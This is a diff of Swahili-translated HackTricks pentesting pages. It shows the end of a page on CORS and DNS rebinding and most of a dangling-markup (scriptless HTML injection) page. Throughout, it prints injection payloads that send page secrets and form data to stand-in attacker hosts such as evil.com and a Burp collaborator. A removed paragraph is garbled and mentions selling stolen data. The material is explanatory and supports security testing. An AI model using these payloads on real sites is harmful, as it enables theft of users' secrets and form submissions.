{% endhint %}
|
||||
|
||||
Kwa habari zaidi unaweza kucheki [https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/)
|
||||
### Bypassinga Kawa
|
||||
Kwa habari zaidi unaweza kuangalia [https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/)
|
||||
### Bypassinga Zingine za Kawaida
|
||||
|
||||
* Ikiwa **IP za ndani haziruhusiwi**, wanaweza **kusahau kupiga marufuku 0.0.0.0** (inafanya kazi kwenye Linux na Mac)
|
||||
* Ikiwa **IP za ndani haziruhusiwi**, jibu na **CNAME** kwa **localhost** (inafanya kazi kwenye Linux na Mac)
|
||||
|
@ -343,21 +343,22 @@ Kwa habari zaidi unaweza kucheki [https://unit42.paloaltonetworks.com/dns-rebind
|
|||
|
||||
### Silaha ya DNS Rebidding
|
||||
|
||||
Unaweza kupata habari zaidi kuhusu mbinu za kuvuka zilizotangulia na jinsi ya kutumia zana ifuatayo kwenye mazungumzo [Gerald Doussot - Hali ya Mashambulizi ya DNS Rebinding & Umoja wa Asili - Mkutano wa DEF CON 27](https://www.youtube.com/watch?v=y9-0lICNjOQ).
|
||||
Unaweza kupata habari zaidi kuhusu mbinu za kudukua zilizopita na jinsi ya kutumia zana ifuatayo kwenye mazungumzo [Gerald Doussot - Hali ya Mashambulizi ya DNS Rebinding & Umoja wa Asili - Mkutano wa DEF CON 27](https://www.youtube.com/watch?v=y9-0lICNjOQ).
|
||||
|
||||
[**`Umoja wa Asili`**](https://github.com/nccgroup/singularity) ni zana ya kufanya mashambulizi ya [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Inajumuisha vipengele vinavyohitajika kurekebisha anwani ya IP ya jina la DNS la seva ya shambulizi kwa anwani ya IP ya mashine ya lengo na kutumikia mzigo wa mashambulizi kuf exploit programu zinazoweza kudhuriwa kwenye mashine ya lengo.
|
||||
[**`Umoja wa Asili`**](https://github.com/nccgroup/singularity) ni zana ya kufanya mashambulizi ya [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Inajumuisha vipengele vinavyohitajika kubadilisha IP ya jina la DNS la seva ya shambulizi hadi anwani ya IP ya mashine ya lengo na kutumikia mzigo wa mashambulizi kudukua programu zinazoweza kudhuriwa kwenye mashine ya lengo.
|
||||
|
||||
### Kinga Halisi dhidi ya DNS Rebinding
|
||||
|
||||
* Tumia TLS kwenye huduma za ndani
|
||||
* Omba uthibitisho wa kupata data
|
||||
* Thibitisha kichwa cha Mwenyeji
|
||||
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Pendekezo la kutuma ombi la awali daima wakati seva za umma zinataka kupata seva za ndani
|
||||
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Pendekezo la kutuma ombi la awali daima wakati seva za umma zinapotaka kupata seva za ndani
|
||||
|
||||
## **Zana**
|
||||
|
||||
**Fanya majaribio ya kufanya kosa katika sera za CORS**
|
||||
**Fanya uchunguzi wa makosa yanayowezekana katika sera za CORS**
|
||||
|
||||
* [https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8](https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8)
|
||||
* [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
|
||||
* [https://github.com/lc/theftfuzzer](https://github.com/lc/theftfuzzer)
|
||||
* [https://github.com/s0md3v/Corsy](https://github.com/s0md3v/Corsy)
|
||||
|
@ -374,3 +375,17 @@ Unaweza kupata habari zaidi kuhusu mbinu za kuvuka zilizotangulia na jinsi ya ku
|
|||
* [https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646](https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration)
|
||||
* [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au **kikundi cha** [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,41 +1,41 @@
|
|||
# Dangling Markup - Uingizaji wa HTML bila skripti
|
||||
# Dangling Markup - Uingizaji wa HTML bila script
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze kuhusu kuhack AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
## Muhtasari
|
||||
|
||||
Tekniki hii inaweza kutumika kuondoa habari kutoka kwa mtumiaji wakati **uingizaji wa HTML unapopatikana**. Hii ni muhimu sana ikiwa **hauoni njia yoyote ya kudukua** [**XSS**](../xss-cross-site-scripting/) lakini unaweza **kuingiza vitambulisho vya HTML**.\
|
||||
Pia ni muhimu ikiwa siri fulani imehifadhiwa kwa wazi katika HTML na unataka kuiondoa kutoka kwa mteja, au ikiwa unataka kuongoza utekelezaji wa skripti fulani.
|
||||
Mbinu hii inaweza kutumika kutoa habari kutoka kwa mtumiaji wakati **uingizaji wa HTML unapatikana**. Hii ni muhimu sana ikiwa **hauoni njia yoyote ya kutumia** [**XSS** ](../xss-cross-site-scripting/) lakini unaweza **kuingiza vitambulisho vya HTML**.\
|
||||
Pia ni muhimu ikiwa **siri imehifadhiwa kwa maandishi wazi** kwenye HTML na unataka **kuiondoa** kutoka kwa mteja, au ikiwa unataka kudanganya utekelezaji wa skripti fulani.
|
||||
|
||||
Tekniki kadhaa zilizojadiliwa hapa zinaweza kutumika kukiuka [**Sera ya Usalama wa Yaliyomo**](../content-security-policy-csp-bypass/) kwa kuondoa habari kwa njia isiyotarajiwa (vitambulisho vya html, CSS, http-meta tags, fomu, msingi...).
|
||||
Mbinu kadhaa zilizotajwa hapa zinaweza kutumika kukiuka baadhi ya [**Sera ya Usalama wa Yaliyomo**](../content-security-policy-csp-bypass/) kwa kutoa habari kwa njia zisizotarajiwa (vitambulisho vya html, CSS, vitambulisho vya http-meta, fomu, msingi...).
|
||||
|
||||
## Matumizi Makuu
|
||||
|
||||
### Kuiba siri zilizo wazi
|
||||
### Kuiba siri za maandishi wazi
|
||||
|
||||
Ikiwa unaingiza `<img src='http://evil.com/log.cgi?` wakati ukurasa unapakia, mwathirika atakutumia msimbo wote kati ya vitambulisho vya `img` vilivyochomwa na alama ya nukta inayofuata ndani ya msimbo. Ikiwa siri ipo kwa njia fulani katika kipande hicho, utaiba iyo (unaweza kufanya kitu kama hicho kwa kutumia alama ya nukta mbili, angalia ni ipi inayoweza kuwa ya kuvutia zaidi kutumia).
|
||||
Ikiwa unainjeka `<img src='http://evil.com/log.cgi?` wakati ukurasa unapakia, muathiriwa atakutumia msimbo wote kati ya vitambulisho vya `img` vilivyoingizwa na nukuu inayofuata ndani ya msimbo. Ikiwa siri ipo kwenye kipande hicho, utaiba i t(unaweza kufanya kitu kama hicho kwa kutumia nukuu mara mbili, tazama ni ipi inaweza kuwa ya kuvutia zaidi kutumia).
|
||||
|
||||
Ikiwa vitambulisho vya `img` vimezuiwa (kwa sababu ya CSP, kwa mfano) unaweza pia kutumia `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
|
||||
Ikiwa vitambulisho vya `img` vimezuiliwa (kutokana na CSP kwa mfano) unaweza pia kutumia `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
|
||||
```html
|
||||
<img src='http://attacker.com/log.php?HTML=
|
||||
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
|
||||
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
|
||||
```
|
||||
Tafadhali kumbuka kwamba **Chrome inazuia URL za HTTP** zenye "<" au "\n", hivyo unaweza jaribu njia nyingine za itifaki kama vile "ftp".
|
||||
Tafadhali kumbuka kwamba **Chrome inazuia URL za HTTP** zenye "<" au "\n" ndani yake, hivyo unaweza jaribu mbinu nyingine za itifaki kama "ftp".
|
||||
|
||||
Pia unaweza kutumia udanganyifu wa CSS `@import` (utatuma msimbo wote hadi utakapopata ";")
|
||||
Unaweza pia kutumia CSS `@import` (italeta msimbo wote hadi itakapopata ";")
|
||||
```html
|
||||
<style>@import//hackvertor.co.uk? <--- Injected
|
||||
<b>steal me!</b>;
|
||||
|
@ -44,32 +44,20 @@ Unaweza pia kutumia **`<table`**:
|
|||
```html
|
||||
<table background='//your-collaborator-id.burpcollaborator.net?'
|
||||
```
|
||||
Unaweza pia kuweka lebo ya `<base`. Taarifa zote zitatumiwa mpaka nukuu ifungwe lakini inahitaji ushirikiano wa mtumiaji (mtumiaji lazima bonyeze kiungo fulani, kwa sababu lebo ya msingi itakuwa imebadilisha kikoa kinacholengwa na kiungo):
|
||||
Unaweza pia kuweka lebo ya `<base`. Taarifa zote zitatumwa hadi nukuu itakapofungwa lakini inahitaji ushirikiano wa mtumiaji (mtumiaji lazima bonyeza kiungo fulani, kwa sababu lebo ya msingi itakuwa imebadilisha kikoa kinachoelekezwa na kiungo):
|
||||
```html
|
||||
<base target=' <--- Injected
|
||||
steal me'<b>test</b>
|
||||
```
|
||||
### Kuiba Fomu
|
||||
|
||||
Kuna njia moja ya kudanganya tovuti na kuiba fomu zilizojazwa na watumiaji. Hii inajulikana kama "dangling markup" au "HTML scriptless injection". Kwa kufanya hivyo, unaweza kupata habari muhimu kama majina, anwani za barua pepe, nambari za simu, na habari nyingine kutoka kwa fomu hizo.
|
||||
|
||||
Kwa kuanza, unahitaji kuchunguza tovuti na kutafuta fomu ambazo unataka kuiba. Unaweza kutumia zana za kuchunguza wavuti kama "Burp Suite" au "OWASP ZAP" kufanya hivyo.
|
||||
|
||||
Baada ya kuchunguza fomu, unahitaji kubaini ikiwa kuna udhaifu wa "dangling markup" uliopo. Udhaifu huu unaweza kuwa kwa sababu ya kutokuwa na usalama katika nambari ya tovuti au kutokuwepo kwa ukaguzi wa kutosha wa data iliyowasilishwa na mtumiaji.
|
||||
|
||||
Ikiwa unapata udhaifu wa "dangling markup", unaweza kuingiza msimbo wa JavaScript katika fomu ili kuiba habari. Kwa mfano, unaweza kuongeza msimbo wa JavaScript ambao utatumwa kwa seva yako ya kudanganya na kurekodi habari zote zilizojazwa katika fomu.
|
||||
|
||||
Baada ya kuiba habari, unaweza kuzitumia kwa njia mbalimbali, kama vile kuuza habari hizo kwenye soko la chini ya ardhi au kuzitumia kwa madhumuni mengine ya uhalifu wa mtandao.
|
||||
|
||||
Ni muhimu kukumbuka kuwa kufanya hivyo ni kinyume cha sheria na inaweza kusababisha mashtaka ya jinai. Kwa hivyo, ni muhimu kufanya shughuli za uhalifu wa mtandao kwa njia halali na kwa idhini ya mmiliki wa tovuti.
|
||||
### Kuiba fomu
|
||||
```html
|
||||
<base href='http://evil.com/'>
|
||||
```
|
||||
Kisha, fomu ambazo hutuma data kwa njia (kama `<form action='update_profile.php'>`) zitatuma data kwa kikoa cha mbaya.
|
||||
Kisha, fomu zinazotuma data kwa njia ya path (kama `<form action='update_profile.php'>`) zitatuma data kwa kikoa cha madhara.
|
||||
|
||||
### Kuiba fomu 2
|
||||
|
||||
Weka kichwa cha fomu: `<form action='http://evil.com/log_steal'>` hii itafuta kichwa cha fomu inayofuata na data yote kutoka kwenye fomu itatumwa kwa mshambuliaji.
|
||||
Weka kichwa cha fomu: `<form action='http://evil.com/log_steal'>` hii itabadilisha kichwa cha fomu inayofuata na data yote kutoka kwenye fomu itatumwa kwa muhusika.
|
||||
|
||||
### Kuiba fomu 3
|
||||
|
||||
|
@ -79,19 +67,21 @@ Kitufe kinaweza kubadilisha URL ambapo habari ya fomu itatumwa kwa kutumia sifa
|
|||
```
|
||||
Mshambuliaji anaweza kutumia hii kuiba taarifa.
|
||||
|
||||
### Kuiba siri wazi za maandishi 2
|
||||
Pata [**mfano wa shambulio hili katika andiko hili**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp).
|
||||
|
||||
Kwa kutumia mbinu iliyotajwa hapo awali ya kuiba fomu (kwa kuingiza kichwa kipya cha fomu), unaweza kisha kuingiza uga mpya wa kuingiza:
|
||||
### Kuiba siri za maandishi wazi 2
|
||||
|
||||
Kwa kutumia mbinu iliyotajwa hapo juu ya kuiba fomu (kuingiza kichwa kipya cha fomu) unaweza kisha kuingiza uga mpya wa kuingiza:
|
||||
```html
|
||||
<input type='hidden' name='review_body' value="
|
||||
```
|
||||
Na uga huu wa kuingiza utaleta yaliyomo kati ya alama zake za nukta mbili na nukta mbili inayofuata katika HTML. Shambulio hili linachanganya "_**Kuiba siri za maandishi wazi**_" na "_**Kuiba fomu2**_".
|
||||
Na uga huu wa kuingiza utaleta yaliyomo kati ya herufi zake mbili na herufi zingine katika HTML. Shambulizi hili linachanganya "_**Kuiba siri za maandishi wazi**_" na "_**Kuiba fomu2**_".
|
||||
|
||||
Unaweza kufanya kitu kama hicho kwa kuingiza fomu na lebo ya `<option>`. Data yote hadi `<option>` iliyofungwa inapopatikana itatumwa:
|
||||
Unaweza kufanya kitu sawa kwa kuingiza fomu na lebo ya `<option>`. Data yote hadi `<option>` iliyofungwa inapatikana itatumwa:
|
||||
```html
|
||||
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
|
||||
```
|
||||
### Uingizaji wa Parameta ya Fomu
|
||||
### Kuingiza Parameta ya Fomu
|
||||
|
||||
Unaweza kubadilisha njia ya fomu na kuingiza thamani mpya ili hatua isiyotarajiwa ifanyike:
|
||||
```html
|
||||
|
@ -107,31 +97,31 @@ value='fredmbogo'> ← Injected lines
|
|||
...
|
||||
</form>
|
||||
```
|
||||
### Kuiba siri wazi ya maandishi kupitia noscript
|
||||
### Kuiba siri za maandishi wazi kupitia noscript
|
||||
|
||||
`<noscript></noscript>` Ni lebo ambayo yaliyomo yake yataeleweka ikiwa kivinjari hakisaidii javascript (unaweza kuwezesha / kulemaza Javascript kwenye Chrome katika [chrome://settings/content/javascript](chrome://settings/content/javascript)).
|
||||
`<noscript></noscript>` Ni lebo ambayo maudhui yake yataeleweka ikiwa kivinjari hakisaidii javascript (unaweza kuwezesha/kulemaza Javascript kwenye Chrome katika [chrome://settings/content/javascript](chrome://settings/content/javascript)).
|
||||
|
||||
Njia ya kuchukua yaliyomo ya ukurasa wa wavuti kutoka sehemu ya kuingiza hadi chini hadi tovuti inayodhibitiwa na mshambuliaji itakuwa kwa kuingiza hii:
|
||||
Njia ya kuchukua maudhui ya ukurasa wa wavuti kutoka sehemu ya kuingiza hadi chini kwenda kwenye tovuti iliyo na udhibiti wa mshambuliaji itakuwa kwa kuingiza hii:
|
||||
```html
|
||||
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
|
||||
```
|
||||
### Kupitisha CSP kwa ushirikiano wa mtumiaji
|
||||
### Kupitisha CSP na ushirikiano wa mtumiaji
|
||||
|
||||
Kutoka kwenye [utafiti wa portswiggers](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) unaweza kujifunza kwamba hata katika mazingira yaliyopewa **kizuizi kikali zaidi cha CSP**, bado unaweza **kutoa data** na baadhi ya **ushirikiano wa mtumiaji**. Katika tukio hili tutatumia mzigo wa:
|
||||
Kutoka kwa [utafiti wa portswiggers](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) unaweza kujifunza kwamba hata kutoka kwa mazingira yaliyopewa **kizuizi cha CSP zaidi**, bado unaweza **kutoa data** na baadhi ya **ushirikiano wa mtumiaji**. Katika tukio hili tutatumia mzigo wa data:
|
||||
```html
|
||||
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
|
||||
<base target='
|
||||
```
|
||||
Tafadhali kumbuka kuwa utamwomba **mwathiriwa** bonyeza kiungo ambacho kitampeleka kwenye **payload** inayodhibitiwa na wewe. Pia kumbuka kuwa sifa ya **`target`** ndani ya lebo ya **`base`** italeta **maudhui ya HTML** hadi alama ya nukta moja inayofuata. Hii itafanya **thamani** ya **`window.name`** ikiwa kiungo kimebonyezwa kuwa **maudhui yote ya HTML** hayo. Kwa hivyo, kwa kuwa wewe **udhibiti ukurasa** ambapo mwathiriwa anapata kwa kubonyeza kiungo, unaweza kupata ufikiaji wa **`window.name`** na **kuvuja** data hiyo:
|
||||
Tafadhali eleza **mwathiriwa** a **bonyeza kiungo** ambacho kitampeleka kwa **payload** inayodhibitiwa na wewe. Pia eleza kwamba **`lengo`** sifa ndani ya tagi ya **`msingi`** italeta **maudhui ya HTML** hadi alama ya kufunga ya pekee inayofuata. Hii itafanya **thamani** ya **`window.name`** ikiwa kiungo kimebonyezwa kuwa **maudhui yote ya HTML**. Kwa hivyo, kwa kuwa unadhibiti ukurasa ambapo mwathiriwa anapata kwa kubonyeza kiungo, unaweza kupata upatikanaji wa **`window.name`** na **kuvuja** data hiyo:
|
||||
```html
|
||||
<script>
|
||||
if(window.name) {
|
||||
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
|
||||
</script>
|
||||
```
|
||||
### Mchakato wa kudanganya wa hati 1 - Shambulio la nafasi ya HTML
|
||||
### Mchakato wa kudanganya wa hatua ya 1 - Shambulio la nafasi ya HTML
|
||||
|
||||
Ingiza lebo mpya na kitambulisho ndani ya HTML ambayo itaandika juu ya ile inayofuata na na thamani ambayo itaathiri mchakato wa hati. Katika mfano huu, unachagua na nani habari itashirikiwa:
|
||||
Ingiza lebo mpya na kitambulisho ndani ya HTML ambayo itaandika juu ya ile inayofuata na na thamani itakayokuwa na athari kwenye mchakato wa script. Katika mfano huu unachagua na nani habari itashirikishwa:
|
||||
```html
|
||||
<input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup
|
||||
...
|
||||
|
@ -146,9 +136,9 @@ request.share_with = document.getElementById('share_with').value;
|
|||
...
|
||||
}
|
||||
```
|
||||
### Kupotosha mtiririko wa hati 2 - Shambulio la jina la hati
|
||||
### Mchakato wa kudanganya wa script 2 - Shambulio la jina la script
|
||||
|
||||
Unda mizani ndani ya jina la javascript kwa kuingiza vitambulisho vya HTML. Kisha, mizani hii itaathiri mtiririko wa programu:
|
||||
Unda mizani ndani ya nafasi ya javascript kwa kuingiza vitambulisho vya HTML. Kisha, hii mizani itaathiri mtiririko wa programu:
|
||||
```html
|
||||
<img id='is_public'> ← Injected markup
|
||||
|
||||
|
@ -172,7 +162,7 @@ if (is_public) request.access_mode = AM_PUBLIC; ← Condition always e
|
|||
```
|
||||
### Matumizi Mabaya ya JSONP
|
||||
|
||||
Ikiwa utapata kiolesura cha JSONP, unaweza kuweza kuita kazi yoyote na data yoyote:
|
||||
Ikiwa utapata kiolesura cha JSONP unaweza kuweza kuita kazi isiyo na kikomo na data isiyo na kikomo:
|
||||
```html
|
||||
<script src='/editor/sharing.js'>: ← Legitimate script
|
||||
function set_sharing(public) {
|
||||
|
@ -190,13 +180,13 @@ Au unaweza hata kujaribu kutekeleza baadhi ya javascript:
|
|||
```
|
||||
### Matumizi ya Iframe
|
||||
|
||||
Hati ya mtoto ina uwezo wa kuona na kurekebisha mali ya `location` ya mzazi wake, hata katika hali za asili. Hii inaruhusu kuingiza hati ndani ya **iframe** ambayo inaweza kuhamisha mteja kwenye ukurasa usiojulikana:
|
||||
Waraka wa mtoto una uwezo wa kuona na kurekebisha mali ya `location` ya mzazi wake, hata katika hali za mipaka-tofauti. Hii inaruhusu kuingiza script ndani ya **iframe** ambayo inaweza kuongoza mteja kwenye ukurasa usio na kikomo:
|
||||
```html
|
||||
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
|
||||
```
|
||||
Hii inaweza kuzuiwa kwa kutumia kitu kama: `sandbox=' allow-scripts allow-top-navigation'`
|
||||
Hii inaweza kudhibitiwa kwa kitu kama: `sandbox=' allow-scripts allow-top-navigation'`
|
||||
|
||||
Pia, iframe inaweza kutumiwa kuvuja taarifa nyeti kutoka kwenye ukurasa tofauti **kwa kutumia sifa ya jina ya iframe**. Hii ni kwa sababu unaweza kuunda iframe ambayo inajifunga yenyewe kwa kutumia uingizaji wa HTML ambao unafanya **taarifa nyeti ionekane ndani ya sifa ya jina ya iframe** na kisha kufikia jina hilo kutoka kwenye iframe ya awali na kuvuja taarifa hiyo.
|
||||
Iframe pia inaweza kutumika kuvuja taarifa nyeti kutoka kwenye ukurasa tofauti **kwa kutumia sifa ya jina la iframe**. Hii ni kwa sababu unaweza kuunda iframe ambayo inajiframisha yenyewe ikivunja HTML inayofanya **taarifa nyeti ionekane ndani ya sifa ya jina la iframe** na kisha kupata jina hilo kutoka kwenye iframe ya awali na kulivuja.
|
||||
```html
|
||||
<script>
|
||||
function cspBypass(win) {
|
||||
|
@ -207,28 +197,28 @@ setTimeout(()=>alert(win[0].name), 500);
|
|||
|
||||
<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>
|
||||
```
|
||||
Kwa habari zaidi angalia [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
|
||||
Kwa maelezo zaidi angalia [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
|
||||
|
||||
### \<meta utapeli
|
||||
### \<meta matumizi mabaya
|
||||
|
||||
Unaweza kutumia **`meta http-equiv`** kufanya **vitendo kadhaa** kama kuweka Cookie: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` au kufanya uhamisho (baada ya sekunde 5 katika kesi hii): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
|
||||
Unaweza kutumia **`meta http-equiv`** kufanya **vitendo kadhaa** kama kuweka Cookie: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` au kufanya upya (baada ya sekunde 5 katika kesi hii): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
|
||||
|
||||
Hii inaweza **kuepukwa** na **CSP** kuhusu **http-equiv** (`Content-Security-Policy: default-src 'self';`, au `Content-Security-Policy: http-equiv 'self';`)
|
||||
Hii inaweza **kuepukwa** na **CSP** kuhusiana na **http-equiv** (`Content-Security-Policy: default-src 'self';`, au `Content-Security-Policy: http-equiv 'self';`)
|
||||
|
||||
### Tag mpya ya \<portal HTML
|
||||
### Tag mpya ya HTML ya \<portal
|
||||
|
||||
Unaweza kupata utafiti mzuri sana juu ya udhaifu unaoweza kudukuliwa wa tag ya \<portal [hapa](https://research.securitum.com/security-analysis-of-portal-element/).\
|
||||
Unaweza kupata utafiti wa kuvutia sana kuhusu udhaifu unaoweza kutumiwa wa tag ya \<portal [hapa](https://research.securitum.com/security-analysis-of-portal-element/).\
|
||||
Wakati wa kuandika hii, unahitaji kuwezesha tag ya portal kwenye Chrome katika `chrome://flags/#enable-portals` au haitafanya kazi.
|
||||
```html
|
||||
<portal src='https://attacker-server?
|
||||
```
|
||||
### Vujisho vya HTML
|
||||
### Kuvuja kwa HTML
|
||||
|
||||
Sio njia zote za kuvuja uunganisho katika HTML zitakuwa na manufaa kwa Dangling Markup, lakini mara nyingine inaweza kusaidia. Angalia hapa: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
|
||||
Haitakuwa njia zote za kuvuja kwa uunganisho katika HTML kuwa na manufaa kwa Dangling Markup, lakini mara kwa mara inaweza kusaidia. Angalia hapa: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
|
||||
|
||||
## SS-Leaks
|
||||
|
||||
Hii ni **mchanganyiko** kati ya **dangling markup na XS-Leaks**. Kwa upande mmoja, udhaifu huu huruhusu **kuingiza HTML** ( lakini sio JS) katika ukurasa wa **asili sawa** na ule tutakao shambulia. Kwa upande mwingine, hatutashambulia moja kwa moja ukurasa ambapo tunaweza kuingiza HTML, lakini **ukurasa mwingine**.
|
||||
Hii ni **mchanganyiko** kati ya **dangling markup na XS-Leaks**. Kwa upande mmoja, udhaifu huu huruhusu **kuingiza HTML** (lakini sio JS) kwenye ukurasa wa **asili sawa** na ile tutakayokuwa tukiishambulia. Kwa upande mwingine hatutashambulia moja kwa moja ukurasa ambapo tunaweza kuingiza HTML, lakini **ukurasa mwingine**.
|
||||
|
||||
{% content-ref url="ss-leaks.md" %}
|
||||
[ss-leaks.md](ss-leaks.md)
|
||||
|
@ -236,13 +226,13 @@ Hii ni **mchanganyiko** kati ya **dangling markup na XS-Leaks**. Kwa upande mmoj
|
|||
|
||||
## XS-Search/XS-Leaks
|
||||
|
||||
XS-Search inalenga katika **kuvuja taarifa za asili tofauti** kwa kutumia **mashambulizi ya njia ya upande**. Kwa hivyo, ni mbinu tofauti na Dangling Markup, hata hivyo, baadhi ya mbinu zinatumia uingizaji wa vitambulisho vya HTML (na bila utekelezaji wa JS), kama vile [**CSS Injection**](../xs-search.md#css-injection) au [**Lazy Load Images**](../xs-search.md#image-lazy-loading)**.**
|
||||
XS-Search zinalenga **kuvuja taarifa kati ya asili tofauti** kwa kutumia **mashambulizi ya njia ya upande**. Kwa hivyo, ni mbinu tofauti na Dangling Markup, hata hivyo, baadhi ya mbinu zinatumia kuingiza vitambulisho vya HTML (na bila utekelezaji wa JS), kama [**Uingizaji wa CSS**](../xs-search.md#css-injection) au [**Pakia Picha kwa Uvivu**](../xs-search.md#image-lazy-loading)**.**
|
||||
|
||||
{% content-ref url="../xs-search.md" %}
|
||||
[xs-search.md](../xs-search.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Orodha ya Uchunguzi wa Brute-Force
|
||||
## Orodha ya Uchunguzi wa Kuvunja Nguvu
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
|
||||
|
||||
|
